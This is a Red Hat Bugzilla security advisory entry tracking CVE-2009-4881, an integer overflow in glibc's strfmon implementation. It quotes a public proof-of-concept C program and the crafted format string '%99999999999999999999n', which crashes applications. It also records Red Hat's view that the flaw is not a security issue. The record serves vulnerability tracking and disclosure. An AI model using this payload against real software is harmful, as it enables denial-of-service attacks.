Bug 599095 (CVE-2009-4881)

Summary:	CVE-2009-4881 glibc (32-bit): Integer overflow in the __vstrfmon_l function
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED NOTABUG	QA Contact:
Severity:	unspecified	Docs Contact:
Priority:	unspecified
Version:	unspecified	CC:	drepper, jakub, schwab, wnefal+redhatbugzilla
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
URL:	http://securityreason.com/achievement_securityalert/67
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2011-02-04 19:04:14 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:

Description Jan Lieskovsky 2010-06-02 17:02:24 UTC

Common Vulnerabilities and Exposures assigned an identifier CVE-2009-4881 to
the following vulnerability:

Integer overflow in the __vstrfmon_l function in stdlib/strfmon_l.c in
the strfmon implementation in the GNU C Library (aka glibc or libc6)
before 2.10.1 allows context-dependent attackers to cause a denial of
service (application crash) via a crafted format string, as
demonstrated by the %99999999999999999999n string, a related issue to
CVE-2008-1391.

References:
  [1] http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600
  [2] http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f
  [3] http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600
  [4] http://securityreason.com/achievement_securityalert/53
  [5] http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/

Public PoC (from [4]):

#include <stdio.h>
#include <monetary.h>

int main(int argc, char* argv[]){
char buff[51];
char *bux=buff;
int res;

res=strfmon(bux, 50, argv[1], "0");
return 0;
}

cxib# ./pln %99999999999999999999n

Comment 4 Tomas Hoger 2010-09-14 15:05:05 UTC

Related CVE-2008-1391 was tracked via bug #524671.  Related Fedora bugs with some more discussion of the both bugs - bug #496386.

Comment 5 Tomas Hoger 2011-02-04 19:04:14 UTC

For future reference, this issue is glibc variant of the *BSD libc issue that got assigned CVE-2008-1391 id, originally reported via SecurityReason Advisory 53.  The glibc variant was reported via SecurityReason Advisory 67 along with other integer overflow in the printf implementation (CVE-2009-4880, bug #599070, see upstream bugzilla #10600 for details).

Both issues affecting glibc and reported in SecurityReason Advisory 67 are corrected in Red Hat Enterprise Linux 6 glibc packages.

Statement:

Red Hat does not consider this bug to be a security issue. Properly written application should not use arbitrary untrusted data as part of the format string passed to functions as strfmon or printf family functions.